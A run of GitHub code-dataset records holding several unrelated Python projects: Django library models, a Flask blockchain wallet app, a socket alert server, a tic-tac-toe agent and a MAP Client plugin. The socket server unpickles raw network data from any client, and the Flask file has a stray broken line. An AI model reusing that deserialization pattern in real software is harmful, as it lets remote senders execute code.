('Surxondaryo', 'Surxondaryo'),\n ('Karakalpakstan', 'Karakalpakstan'),\n )\n \n region = models.CharField(verbose_name='shahar yoki viloyatingizni tanlang',\n max_length=255,\n choices=REGIONS,\n default='Tashkent')\n \n phone = models.CharField(verbose_name='telefon', max_length=255, blank=True)\n telegram = models.URLField(verbose_name='telegram URL', blank=True)\n image = models.ImageField(verbose_name='foto surat', upload_to='libraries/', blank=True)\n \n class Meta:\n ordering = ('name',)\n verbose_name = 'Kutubxona'\n verbose_name_plural = 'Kutubxonalar 🏫'\n\n def __str__(self):\n return self.name\n\n def get_absolute_url(self):\n return reverse('book_list_by_libraries', args=[str(self.slug)])\n \n \nclass Book(models.Model):\n id = models.UUIDField(\n primary_key=True,\n default=uuid.uuid4,\n editable=False\n )\n\n library = models.ForeignKey(Library,\n verbose_name='kutubxona',\n related_name='books',\n on_delete=models.CASCADE)\n \n name = models.CharField(verbose_name='kitob nomi', max_length=255)\n author = models.CharField(verbose_name='muallif', max_length=255)\n image = models.ImageField(verbose_name='kitob rasmini yuklash',\n upload_to='books/',\n blank=True)\n description = models.TextField(verbose_name='tavsifi', blank=True)\n available = models.BooleanField(verbose_name='mavjud?', default=True)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n category = models.ForeignKey(Category,\n verbose_name='toifasi',\n related_name='library_books',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return f\"{self.name} in {self.library}\"\n\n def get_absolute_url(self):\n return reverse('book_detail', args=[str(self.id)])\n\n class Meta:\n ordering = ('name', 'library')\n verbose_name = 'Kitob'\n verbose_name_plural = 'Kitoblar 📚'","repo_name":"Rustam-Z/eightsoft-hackathon-dgu","sub_path":"libraries/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"33996875357","text":"from uuid import uuid4\n\nfrom Crypto.PublicKey import ECC\nfrom flask import Flask, jsonify, redirect, render_template, request\n\nfrom BlockChain import BlockChain\nfrom Wallet import Wallet\n\napp = Flask(__name__, template_folder=\"../templates\", static_folder=\"../static\")\n\n# Generate a globally unique address for the node\nnode_identifier = str(uuid4()).replace('-', '')\nbc = BlockChain()\nwallet = None\npu\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n values = request.form\n\n\n # Check that the required fields are in the POST data\n required = ['public', 'private']\n for k in required:\n if values[k] is '':\n return render_template('index.html', err=\"Missing Values\")\n else:\n try:\n f = open(values['private'], 'rt')\n privateKey = ECC.import_key(f.read())\n f.close()\n\n f = open(values['public'], 'rt')\n publicKey = ECC.import_key(f.read())\n f.close()\n\n if publicKey.export_key(format='PEM') != privateKey.public_key().export_key(format='PEM'):\n raise Exception('')\n except:\n return render_template('index.html', err=\"UH OH. IDK, something happened m8\")\n\n # if public != private.public_key.export_key(format=\"PEM\"):\n # return render_template('index.html', err=\"Something went wrong\")\n\n # global wallet\n # wallet = Wallet(publicKey, privateKey)\n\n return redirect('/transactions')\n elif request.method == 'GET':\n return render_template('index.html')\n\n\n# @app.route('/main')\n# def mainPage():\n# transactions = None\n\n# return render_template('main.html', transaction_history=transactions)\n\n\n@app.route('/creation')\ndef createNewKeys():\n private = ECC.generate(curve='secp256r1')\n\n f = open('YourPrivateKey.pem', 'wt')\n f.write(private.export_key(format='PEM'))\n f.close()\n\n f = open('YourPublicKey.pem', 'wt')\n f.write(private.public_key().export_key(format='PEM'))\n f.close()\n\n return render_template('creation.html')\n\n\n@app.route('/transactions', methods=['GET', 'POST'])\ndef start_transaction():\n return render_template('transactions.html')\n\n\n@app.route('/mine', methods=['GET'])\ndef mine():\n last_block = bc.last_block\n nonce, hashProvided = bc.proof_of_work(last_block.block_header.nonce)\n\n # Forge the new block by adding it to the chain\n previous_hash = bc.hash(last_block)\n block = bc.new_block(nonce, previous_hash, node_identifier)\n\n if type(block) == str:\n return jsonify({\"message\": block}), 200\n\n response = {\n 'message': \"New Block forged\",\n 'index': block.index,\n 'transactions': block.transactions_toListOfDict(),\n 'previous_hash': block.block_header.previous_hash,\n 'timestamp': block.timestamp,\n 'merkle_root': block.block_header.merkle_root,\n 'nonce': block.block_header.nonce\n }\n\n return render_template('transactions.html', summary=jsonify(response, 200))\n\n\n@app.route('/transactions/new', methods=['POST'])\ndef new_transaction():\n if request.method == 'POST':\n values = request.form\n # Check that the required fields are in the POST'ed data\n required = ['sender', 'recipient', 'amount']\n if not all(k in values for k in required):\n return 'Missing Values', 400\n\n # Create a new Transaction\n index = bc.new_transaction(\n values['sender'],\n values['recipient'],\n values['amount']\n )\n\n response = {\n 'message': f'Transaction will be added to block {index}'\n }\n return render_template('new.html', summary=jsonify(response, 201))\n\n\n@app.route('/chain', methods=['GET'])\ndef full_chain():\n response = bc.jsonify()\n return jsonify(response), 200\n\n\n@app.route('/nodes/register', methods=['POST'])\ndef register_nodes():\n values = request.get_json()\n\n nodes = values.get('nodes')\n if nodes is None:\n return \"Error: Please supply a valid list of nodes\\n\", 400\n\n for node in nodes:\n bc.register_node(node)\n\n response = {\n 'message': 'New nodes have been added',\n 'total_nodes': list(bc.nodes),\n }\n\n return jsonify(response), 201\n\n\n@app.route('/nodes/resolve', methods=['GET'])\ndef consensus():\n replaced = bc.resolve_conflicts()\n\n if replaced:\n response = {\n 'message': 'Our chain was replaced',\n 'new_chain': bc.jsonify()['blocks']\n }\n else:\n response = {\n 'message': 'Our chain is authoritative',\n 'chain': bc.jsonify()['blocks']\n }\n\n return jsonify(response), 200\n\n\nif __name__ == '__main__':\n from argparse import ArgumentParser\n\n parser = ArgumentParser()\n parser.add_argument(\n '-p',\n '--port',\n default=5000,\n type=int,\n help='port to listen on'\n )\n args = parser.parse_args()\n port = args.port\n\n app.run(\n host='127.0.0.1',\n port=port\n )\n","repo_name":"eHoward1996/BlackBucks","sub_path":"src/Run.py","file_name":"Run.py","file_ext":"py","file_size_in_byte":5081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"780895313","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n__author__ = 'cnheider'\n\nimport csv\nimport datetime\nimport os\n\n\ndef save_statistic(statistic, name, log_directory='logs', project='', config_name='', **kwargs) -> bool:\n if statistic:\n _file_date = datetime.datetime.now()\n _file_name = f'{project}-{config_name.replace(\".\", \"_\")}-{_file_date.strftime(\"%y%m%d%H%M\")}.{name}.csv'\n _file_path = os.path.join(log_directory, _file_name)\n\n stat = [[s] for s in statistic]\n with open(_file_path, 'w') as f:\n w = csv.writer(f)\n w.writerows(stat)\n print('Saved statistics_utilities at {}'.format(_file_path))\n\n return True\n return False\n","repo_name":"bootml/agent","sub_path":"utilities/persistence/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"25778599876","text":"from collections import defaultdict\nfrom collections import OrderedDict\nd = defaultdict(list)\nd['a'].append(1)\nd['a'].append(2)\nd['b'].append(4)\nprint(d)# every value is a list.\n\n\nd = defaultdict(set)\nd['a'].add(1)\nd['a'].add(2)\nd['b'].add(4)\nprint(d)# every value is a list.\n\na={\n'x' : 1,\n'y' : 2,\n'z' : 3 }\n\nb={\n'w' : 10,\n'x' : 11,\n'y' : 2 }\n\n# Find keys in common\nprint(a.keys() & b.keys()) # { 'x', 'y' }\n# Find keys in a that are not in b\nprint(a.keys() - b.keys() )# { 'z' }\n# Find (key,value) pairs in common\na.items() & b.items() # { ('y', 2) }\n\n\n# Make a new dictionary with certain keys removed\nc = {key:a[key] for key in a.keys() - {'z', 'w'}}\nprint(c)\n# c is {'x': 1, 'y': 2}\n","repo_name":"sidaker/dq","sub_path":"python_detailed/datastructs/dicts_multiplevalues.py","file_name":"dicts_multiplevalues.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19350242378","text":"import socket\nimport threading\nimport pickle\nimport time\nimport sys\nimport os\nfrom contextlib import contextmanager\nfrom db import DataController \nfrom utils import get_current_time, parse_time# this needs to be transfered to a utility\nfrom sender import send_alert\n\n\ndef handle_client_connection(connection):\n\tclient_socket, client_address = connection\n\tclient_data = client_socket.recv(1024)\n\t\n\tif len(client_data) > 0:\n\t\tclient_data = pickle.loads(client_data)\n\t\t\n\t\tdc = DataController()\t\n\t\tfor entry in client_data:\n\t\t\tdc.navigate_data(entry)\n\n\tclient_socket.close()\n\t\t\n\ndef evaluate_alerts():\n\ttime.sleep(10)\n\n\tdc = DataController()\n\ttables = [ \"filesystem\" ]\n\t\n\t# Evaluate alerts runs in a separate dedicated thread, so it must be always running.\n\twhile True:\n\t\tfor table in tables:\n\t\t\trecords = dc.retrieve_records(table, \"timeinsertion\")\t\n\t\t\t\n\t\t\t# This needs to be updated/done\n\t\t\t# Currently just left the variable as a remainder\n\t\t\ttrack_already_sent_alerts = {\n\t\t\t\t\"filesystem\" : [] \n\t\t\t}\t\t\t\n\n\t\t\tif table == \"filesystem\":\n\t\t\t\tprint(\"Retrieving the records from file system table.\")\n\n\t\t\t\tfor record in records:\n\t\t\t\t\tprint(\"Record for evaluation\")\t\n\t\t\t\t\tprint(record)\n\t\t\t\t\tcurrent_time_tokens = parse_time(get_current_time())\t\n\t\t\t\t\n\t\t\t\t\t# This try might not be needed, since the table wont accept records with missing index 7th\t\n\t\t\t\t\ttry:\n\t\t\t\t\t\trecord_time_tokens = parse_time(record[7])\n\t\t\t\t\t\tif current_time_tokens[\"YearMonthDay\"] == record_time_tokens[\"YearMonthDay\"] and\\\n\t\t\t\t\t\t\tcurrent_time_tokens[\"Hour\"] == record_time_tokens[\"Hour\"]:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif int(current_time_tokens[\"Minutes\"]) - int(record_time_tokens[\"Minutes\"]) == 1:\n\t\t\t\t\t\t\t\tprint(\"OK I would send an alert now\")# alert\n\t\t\t\t\t\t\t\tsend_alert(\"FileSystem Alert\", record)\n\t\t\t\t\t\t\t\n\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\tpass\n\n\n\n@contextmanager\ndef handle_server_socket_resources():\n\tserver_socket = socket.socket()\n\ttry:\n\t\tyield server_socket\n\tfinally:\n\t\tserver_socket.close()\n\n\nwith handle_server_socket_resources() as server_socket:\n\tserver_socket.bind((\"localhost\", 8080))\t\n\tserver_socket.listen()\n\n\thandle_alerts_started = False\n\n\twhile True:\n\t\tconn = server_socket.accept()\n\t\tt = threading.Thread(target=handle_client_connection, args=(conn,))\t\n\t\tt.start()\n\t\t# Handle evaluation of alerts, idea is to have a dedicated thread that keeps running all the time.\n\t\tif not handle_alerts_started:\n\t\t\thandle_alerts_started = True\n\t\t\thandle_alerts_thread = threading.Thread(target=evaluate_alerts, args=())\t\n\t\t\thandle_alerts_thread.start()\n\n","repo_name":"bgvladedivac/MyProjects","sub_path":"1.Python/6.ClientServerNotification/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14717064320","text":"import argparse\nimport itertools\nimport math\nimport re\nfrom collections import defaultdict\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"input_file\", type=argparse.FileType(\"r\"))\nargs = parser.parse_args()\n\nnext(args.input_file)\nplayer_one = []\nfor line in args.input_file:\n\tif not line.strip():\n\t\tbreak\n\tplayer_one.append(int(line))\n\nnext(args.input_file)\nplayer_two = []\nfor line in args.input_file:\n\tif not line.strip():\n\t\tbreak\n\tplayer_two.append(int(line))\n\nprint(player_one, player_two)\nwhile player_one and player_two:\n\tcard_one, card_two = player_one.pop(0), player_two.pop(0)\n\tif card_one > card_two:\n\t\tplayer_one.extend([card_one, card_two])\n\telif card_one < card_two:\n\t\tplayer_two.extend([card_two, card_one])\n\telse:\n\t\tassert False\n\tprint(player_one, player_two)\n\nprint(player_one, player_two)\nif player_one:\n\twinner = player_one\nelse:\n\twinner = player_two\n\n\nacc = 0\nfor m,v in enumerate(winner[::-1], 1):\n\tacc += m*v\n\nprint(acc)\n","repo_name":"pajowu/aoc_2020","sub_path":"22/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3110104369","text":"#################################################################################\n# File Name : solveTicTacToe.py\n# Created By : Chen Guanying \n# Creation Date : [2017-03-18 19:17]\n# Last Modified : [2017-03-18 19:17]\n# Description : \n#################################################################################\n\nimport copy\nimport util \nimport sys\nimport random\nimport time\nfrom optparse import OptionParser\nimport numpy as np\n\nclass GameState:\n \"\"\"\n Game state of 3-Board Misere Tic-Tac-Toe\n You *do not* need to make any changes here, but you can if you want to\n add functionality to all your search agents. Please do not remove anything, \n however.\n \"\"\"\n def __init__(self):\n \"\"\"\n Represent 3 boards with lists of boolean value \n True stands for X in that position\n \"\"\"\n self.boards = [[False, False, False, False, False, False, False, False, False],\n [False, False, False, False, False, False, False, False, False],\n [False, False, False, False, False, False, False, False, False]]\n\n def generateSuccessor(self, action):\n \"\"\"\n Input: Legal Action\n Output: Successor State\n \"\"\"\n suceessorState = copy.deepcopy(self)\n ASCII_OF_A = 65\n boardIndex = ord(action[0]) - ASCII_OF_A\n pos = int(action[1])\n suceessorState.boards[boardIndex][pos] = True\n return suceessorState\n\n # Get all valid actions in 3 boards\n def getLegalActions(self, gameRules):\n \"\"\"\n Input: GameRules\n Output: Legal Actions (Actions not in dead board) \n \"\"\"\n ASCII_OF_A = 65\n actions = []\n for b in range(3):\n if gameRules.deadTest(self.boards[b]): continue\n for i in range(9):\n if not self.boards[b][i]:\n actions.append( chr(b+ASCII_OF_A) + str(i) )\n return actions\n\n # Print living boards\n def printBoards(self, gameRules):\n \"\"\"\n Input: GameRules\n Print the current boards to the standard output\n Dead boards will not be printed\n \"\"\"\n titles = [\"A\", \"B\", \"C\"]\n boardTitle = \"\"\n boardsString = \"\"\n for row in range(3):\n for boardIndex in range(3):\n # dead board will not be printed\n if gameRules.deadTest(self.boards[boardIndex]): continue\n if row == 0: boardTitle += titles[boardIndex] + \" \"\n for i in range(3):\n index = 3 * row + i\n if self.boards[boardIndex][index]: \n boardsString += \"X \"\n else:\n boardsString += str(index) + \" \"\n boardsString += \" \"\n boardsString += \"\\n\"\n print(boardTitle)\n print(boardsString)\n \n def transferStringToInt(self, aBoard):\n for i in range(0, 3):\n for j in range(0, 3):\n if aBoard[i][j] != 'X':\n aBoard[i][j] = int(0)\n return aBoard\n \n def getboards(self, board):\n boards=[board]\n temp=board\n for i in range(3):\n newboard=self.rotate(board)\n boards.append(newboard)\n board=newboard\n boards.append(self.fliphoriz(temp))\n boards.append(self.flipvert(temp))\n return boards\n \n def rotateBoard(self, board):\n t = copy.deepcopy(board)\n for i in range(3):\n newBoard = copy.deepcopy(t)\n newBoard[0][0] = t[2][0]\n newBoard[0][1] = t[1][0]\n newBoard[0][2] = t[0][0]\n newBoard[1][0] = t[2][1]\n newBoard[1][2] = t[0][1]\n newBoard[2][0] = t[2][2]\n newBoard[2][1] = t[1][2]\n newBoard[2][2] = t[0][2]\n return newBoard\n\n def fliphoriz(self, Board):\n npar = np.array(Board)\n npar = np.fliplr(npar)\n board = npar.tolist()\n board = self.transferStringToInt(board)\n return board\n \n def flipvert(self, Board):\n npar = np.array(Board)\n npar = np.flipud(npar)\n board = npar.tolist()\n board = self.transferStringToInt(board)\n return board\n \n def giveval(self, nextboard, gameRules):\n b=[[['X',0,'X'],[0,0,0],[0,0,0]],[['X',0,0],[0,'X',0],[0,0,0]],[['X',0,0],[0,0,'X'],[0,0,0]],[[0,'X',0],[0,'X',0],[0,0,0]],[['X','X',0],['X',0,0],[0,0,0]],[[0,'X',0],['X',0,'X'],[0,0,0]],[['X','X',0],[0,'X','X'],[0,0,0]],[['X','X',0],[0,'X',0],['X',0,0]],[['X','X',0],[0,0,'X'],['X',0,0]],[['X','X',0],[0,0,0],['X','X',0]],[['X','X',0],[0,0,0],['X',0,'X']],[['X',0,'X'],[0,'X',0],[0,'X',0]],[['X',0,0],[0,'X','X'],[0,'X',0]],[['X','X',0],['X',0,'X'],[0,0,'X']],[['X','X',0],['X',0,'X'],[0,'X',0]]]\n c=[[[0,0,0],[0,0,0],[0,0,0]]]\n c2=[[[0,0,0],[0,'X',0],[0,0,0]]]\n ad=[[['X','X',0],[0,0,0],[0,0,0]]]\n a=[[['X',0,0],[0,0,0],[0,0,'X']],[[0,'X',0],['X',0,0],[0,0,0]],[[0,'X',0],[0,0,0],[0,'X',0]],[['X','X',0],[0,0,0],['X',0,0]],[['X',0,'X'],[0,'X',0],[0,0,0]],[['X',0,'X'],[0,0,0],[0,'X',0]],[['X',0,0],[0,'X','X'],[0,0,0]],[['X','X',0],['X','X',0],[0,0,0]],[['X','X',0],['X',0,'X'],[0,0,0]],[['X','X',0],['X',0,0],[0,0,'X']],[['X','X',0],[0,0,0],[0,'X','X']],[['X',0,'X'],[0,0,0],['X',0,'X']],[[0,'X',0],['X',0,'X'],[0,'X',0]],[['X','X',0],[0,'X','X'],['X',0,0]],[['X','X',0],[0,0,'X'],['X','X',0]],[['X','X',0],[0,0,'X'],['X',0,'X']],[['X','X',0],['X',0,'X'],[0,'X','X']]]\n ab=[[['X','X',0],[0,'X',0],[0,0,0]],[['X',0,'X'],[0,0,0],['X',0,0]],[[0,'X',0],['X','X',0],[0,0,0]],[['X','X',0],[0,0,'X'],[0,'X',0]],[['X','X',0],[0,0,'X'],[0,0,'X']]]\n d=[[['X','X',0],[0,0,'X'],[0,0,0]], [['X','X',0],[0,0,0],[0,'X',0]], [['X','X',0],[0,0,0],[0,0,'X']]]\n one=[[['X',0,0],[0,0,0],[0,0,0]], [[0,'X',0],[0,0,0],[0,0,0]], [['X',0,0],[0,0,'X'],[0,'X',0]]]\n \n #print(nextboard)\n \n if nextboard in b:\n return 'b'\n elif nextboard in c:\n return 'c'\n elif nextboard in c2:\n return 'c2'\n elif nextboard in ad:\n return 'ad'\n elif nextboard in a:\n return 'a'\n elif nextboard in ab:\n return 'ab'\n elif nextboard in one:\n return 1\n elif nextboard in d:\n return 'd'\n else:\n return 'z'\n \n \n def getvals(self, board, GameRules):\n new_board=copy.deepcopy(board)\n arr_1 = new_board[:3]\n arr_2 = new_board[3:6]\n arr_3 = new_board[6:]\n new_board = [arr_1,arr_2,arr_3]\n for i in range(3):\n for j in range(3):\n if new_board[i][j]:\n new_board[i][j]='X'\n else:\n new_board[i][j] = 0\n board=new_board\n #print(board)\n for i in range(0, 4):\n board = self.rotateBoard(board)\n testBoard = copy.deepcopy(board)\n for j in range(0, 3):\n if j == 1:\n testBoard = self.fliphoriz(board)\n val=self.giveval(testBoard, GameRules)\n if val=='z': continue\n return val\n elif j == 2:\n testBoard = self.flipvert(board)\n val=self.giveval(testBoard, GameRules)\n if val=='z': continue\n return val\n \n def score(self,boards, gameRules):\n score=1\n #print(boards)\n a=\"\"\n for b in boards:\n val=self.getvals(b, gameRules)\n if val==1 or not val: continue\n a+=val\n if a in ['c2','cc','a','bb','b2' ,'bc','cb']:\n return 1000\n\n return score\n \nclass GameRules:\n \"\"\"\n This class defines the rules in 3-Board Misere Tic-Tac-Toe. \n You can add more rules in this class, e.g the fingerprint (patterns).\n However, please do not remove anything.\n \"\"\"\n def __init__(self):\n \"\"\" \n You can initialize some variables here, but please do not modify the input parameters.\n \"\"\"\n {}\n \n def deadTest(self, board):\n \"\"\"\n Check whether a board is a dead board\n \"\"\"\n if board[0] and board[4] and board[8]:\n return True\n if board[2] and board[4] and board[6]:\n return True\n for i in range(3):\n #check every row\n row = i * 3\n if board[row] and board[row+1] and board[row+2]:\n return True\n #check every column\n if board[i] and board[i+3] and board[i+6]:\n return True\n return False\n\n def isGameOver(self, boards):\n \"\"\"\n Check whether the game is over \n \"\"\"\n return self.deadTest(boards[0]) and self.deadTest(boards[1]) and self.deadTest(boards[2])\n\nclass TicTacToeAgent():\n \"\"\"\n When move first, the TicTacToeAgent should be able to chooses an action to always beat \n the second player.\n\n You have to implement the function getAction(self, gameState, gameRules), which returns the \n optimal action (guarantee to win) given the gameState and the gameRules. The return action\n should be a string consists of a letter [A, B, C] and a number [0-8], e.g. A8. \n\n You are welcome to add more helper functions in this class to help you. You can also add the\n helper function in class GameRules, as function getAction() will take GameRules as input.\n \n However, please don't modify the name and input parameters of the function getAction(), \n because autograder will call this function to check your algorithm.\n \"\"\"\n def __init__(self):\n \"\"\" \n You can initialize some variables here, but please do not modify the input parameters.\n \"\"\"\n {}\n \n def getAction(self, gameState, gameRules):\n nextactions=gameState.getLegalActions(gameRules)\n maxscore=-9999\n for a in nextactions:\n nextstate=gameState.generateSuccessor(a)\n #print(nextstate.boards)\n score=gameState.score(nextstate.boards, gameRules)\n if score>maxscore:\n maxscore, action=score, a\n return action \n\n\nclass randomAgent():\n \n \"\"\"\n This randomAgent randomly choose an action among the legal actions\n You can set the first player or second player to be random Agent, so that you don't need to\n play the game when debugging the code. (Time-saving!)\n If you like, you can also set both players to be randomAgent, then you can happily see two \n random agents fight with each other.\n \"\"\"\n def getAction(self, gameState, gameRules):\n actions = gameState.getLegalActions(gameRules)\n return random.choice(actions)\n\n\nclass keyboardAgent():\n \"\"\"\n This keyboardAgent return the action based on the keyboard input\n It will check whether the input actions is legal or not.\n \"\"\"\n def checkUserInput(self, gameState, action, gameRules):\n actions = gameState.getLegalActions(gameRules)\n return action in actions\n\n def getAction(self, gameState, gameRules):\n action = input(\"Your move: \")\n while not self.checkUserInput(gameState, action, gameRules):\n print(\"Invalid move, please input again\")\n action = input(\"Your move: \")\n return action \n\nclass Game():\n \"\"\"\n The Game class manages the control flow of the 3-Board Misere Tic-Tac-Toe\n \"\"\"\n def __init__(self, numOfGames, muteOutput, randomAI, AIforHuman):\n \"\"\"\n Settings of the number of games, whether to mute the output, max timeout\n Set the Agent type for both the first and second players. \n \"\"\"\n self.numOfGames = numOfGames\n self.muteOutput = muteOutput\n self.maxTimeOut = 30 \n\n self.AIforHuman = AIforHuman\n self.gameRules = GameRules()\n self.AIPlayer = TicTacToeAgent()\n\n if randomAI:\n self.AIPlayer = randomAgent()\n else:\n self.AIPlayer = TicTacToeAgent()\n if AIforHuman:\n self.HumanAgent = randomAgent()\n else:\n self.HumanAgent = keyboardAgent()\n\n def run(self):\n \"\"\"\n Run a certain number of games, and count the number of wins\n The max timeout for a single move for the first player (your AI) is 30 seconds. If your AI \n exceed this time limit, this function will throw an error prompt and return. \n \"\"\"\n numOfWins = 0;\n for i in range(self.numOfGames):\n gameState = GameState()\n agentIndex = 0 # 0 for First Player (AI), 1 for Second Player (Human)\n while True:\n if agentIndex == 0: \n timed_func = util.TimeoutFunction(self.AIPlayer.getAction, int(self.maxTimeOut))\n try:\n start_time = time.time()\n action = timed_func(gameState, self.gameRules)\n except util.TimeoutFunctionException:\n print(\"ERROR: Player %d timed out on a single move, Max %d Seconds!\" % (agentIndex, self.maxTimeOut))\n return False\n\n if not self.muteOutput:\n print(\"Player 1 (AI): %s\" % action)\n else:\n action = self.HumanAgent.getAction(gameState, self.gameRules)\n if not self.muteOutput:\n print(\"Player 2 (Human): %s\" % action)\n gameState = gameState.generateSuccessor(action)\n if self.gameRules.isGameOver(gameState.boards):\n break\n if not self.muteOutput:\n gameState.printBoards(self.gameRules)\n\n agentIndex = (agentIndex + 1) % 2\n if agentIndex == 0:\n print(\"****player 2 wins game %d!!****\" % (i+1))\n else:\n numOfWins += 1\n print(\"****Player 1 wins game %d!!****\" % (i+1))\n\n print(\"\\n****Player 1 wins %d/%d games.**** \\n\" % (numOfWins, self.numOfGames))\n\n\nif __name__ == \"__main__\":\n \"\"\"\n main function\n -n: Indicates the number of games\n -m: If specified, the program will mute the output\n -r: If specified, the first player will be the randomAgent, otherwise, use TicTacToeAgent\n -a: If specified, the second player will be the randomAgent, otherwise, use keyboardAgent\n \"\"\"\n # Uncomment the following line to generate the same random numbers (useful for debugging)\n #random.seed(1) \n parser = OptionParser()\n parser.add_option(\"-n\", dest=\"numOfGames\", default=1, type=\"int\")\n parser.add_option(\"-m\", dest=\"muteOutput\", action=\"store_true\", default=False)\n parser.add_option(\"-r\", dest=\"randomAI\", action=\"store_true\", default=False)\n parser.add_option(\"-a\", dest=\"AIforHuman\", action=\"store_true\", default=False)\n (options, args) = parser.parse_args()\n ticTacToeGame = Game(options.numOfGames, options.muteOutput, options.randomAI, options.AIforHuman)\n ticTacToeGame.run()\n","repo_name":"AbhinandanVellanki/Pacman-Artificial-Intelligence","sub_path":"a2/solveTicTacToe.py","file_name":"solveTicTacToe.py","file_ext":"py","file_size_in_byte":15366,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"34131843420","text":"\"\"\"\nMAP Client Plugin Step\n\"\"\"\nimport json\n\nfrom PySide6 import QtGui, QtWidgets, QtCore\n\nfrom mapclient.mountpoints.workflowstep import WorkflowStepMountPoint\nfrom mapclientplugins.scaffoldcreator.configuredialog import ConfigureDialog\nfrom mapclientplugins.scaffoldcreator.model.mastermodel import MasterModel\nfrom mapclientplugins.scaffoldcreator.view.scaffoldcreatorwidget import ScaffoldCreatorWidget\n\n\nclass ScaffoldCreator(WorkflowStepMountPoint):\n \"\"\"\n Skeleton step which is intended to be a helpful starting point\n for new steps.\n \"\"\"\n\n def __init__(self, location):\n super(ScaffoldCreator, self).__init__('Scaffold Creator', location)\n self._configured = False # A step cannot be executed until it has been configured.\n self._category = 'Source'\n # Add any other initialisation code here:\n self._icon = QtGui.QImage(':/scaffoldcreator/images/model-viewer.png')\n # Ports:\n self.addPort(('http://physiomeproject.org/workflow/1.0/rdf-schema#port',\n 'http://physiomeproject.org/workflow/1.0/rdf-schema#provides',\n 'http://physiomeproject.org/workflow/1.0/rdf-schema#file_location'))\n self.addPort(('http://physiomeproject.org/workflow/1.0/rdf-schema#port',\n 'http://physiomeproject.org/workflow/1.0/rdf-schema#uses',\n 'http://physiomeproject.org/workflow/1.0/rdf-schema#file_location'))\n self.addPort([('http://physiomeproject.org/workflow/1.0/rdf-schema#port',\n 'http://physiomeproject.org/workflow/1.0/rdf-schema#provides',\n 'http://physiomeproject.org/workflow/1.0/rdf-schema#file_location'),\n ('http://physiomeproject.org/workflow/1.0/rdf-schema#port',\n 'http://physiomeproject.org/workflow/1.0/rdf-schema#provides',\n 'https://github.com/ABI-Software/scaffoldmaker#annotation_groups_file_location')\n ])\n # Port data:\n self._portData0 = None # http://physiomeproject.org/workflow/1.0/rdf-schema#file_location\n self._port1_inputZincDataFile = None # http://physiomeproject.org/workflow/1.0/rdf-schema#file_location\n self._port2_annotationsFilename = None # https://github.com/ABI-Software/scaffoldmaker#annotation_groups_file_location\n # Config:\n self._config = {'identifier': '', 'AutoDone': False}\n self._model = None\n self._view = None\n\n def execute(self):\n \"\"\"\n Kick off the execution of the step, in this case an interactive dialog.\n User invokes the _doneExecution() method when finished, via pushbutton.\n \"\"\"\n QtWidgets.QApplication.setOverrideCursor(QtCore.Qt.CursorShape.WaitCursor)\n try:\n self._model = MasterModel(self._location, self._config['identifier'])\n if self._port1_inputZincDataFile:\n self._model.setSegmentationDataFile(self._port1_inputZincDataFile)\n self._view = ScaffoldCreatorWidget(self._model)\n # self._view.setWindowFlags(QtCore.Qt.Widget)\n self._view.registerDoneExecution(self._myDoneExecution)\n self._setCurrentWidget(self._view)\n finally:\n QtWidgets.QApplication.restoreOverrideCursor()\n\n def _myDoneExecution(self):\n self._portData0 = self._model.getOutputModelFilename()\n self._port2_annotationsFilename = self._model.getOutputAnnotationsFilename()\n self._view = None\n self._model = None\n self._doneExecution()\n\n def getPortData(self, index):\n \"\"\"\n Add your code here that will return the appropriate objects for this step.\n The index is the index of the port in the port list. If there is only one\n provides port for this step then the index can be ignored.\n\n :param index: Index of the port to return.\n \"\"\"\n if index == 0:\n return self._portData0 # http://physiomeproject.org/workflow/1.0/rdf-schema#file_location\n\n return self._port2_annotationsFilename\n\n def setPortData(self, index, dataIn):\n \"\"\"\n Add your code here that will set the appropriate objects for this step.\n The index is the index of the port in the port list. If there is only one\n uses port for this step then the index can be ignored.\n\n :param index: Index of the port to return.\n :param dataIn: The data to set for the port at the given index.\n \"\"\"\n if index == 1:\n self._port1_inputZincDataFile = dataIn # http://physiomeproject.org/workflow/1.0/rdf-schema#file_location\n\n def configure(self):\n \"\"\"\n This function will be called when the configure icon on the step is\n clicked. It is appropriate to display a configuration dialog at this\n time. If the conditions for the configuration of this step are complete\n then set:\n self._configured = True\n \"\"\"\n dlg = ConfigureDialog(self._main_window)\n dlg.identifierOccursCount = self._identifierOccursCount\n dlg.setConfig(self._config)\n dlg.validate()\n dlg.setModal(True)\n\n if dlg.exec_():\n self._config = dlg.getConfig()\n\n self._configured = dlg.validate()\n self._configuredObserver()\n\n def getIdentifier(self):\n \"\"\"\n The identifier is a string that must be unique within a workflow.\n \"\"\"\n return self._config['identifier']\n\n def setIdentifier(self, identifier):\n \"\"\"\n The framework will set the identifier for this step when it is loaded.\n \"\"\"\n self._config['identifier'] = identifier\n\n def serialize(self):\n \"\"\"\n Add code to serialize this step to string. This method should\n implement the opposite of 'deserialize'.\n \"\"\"\n return json.dumps(self._config, default=lambda o: o.__dict__, sort_keys=True, indent=4)\n\n def deserialize(self, string):\n \"\"\"\n Add code to deserialize this step from string. This method should\n implement the opposite of 'serialize'.\n\n :param string: JSON representation of the configuration in a string.\n \"\"\"\n self._config.update(json.loads(string))\n\n d = ConfigureDialog()\n d.identifierOccursCount = 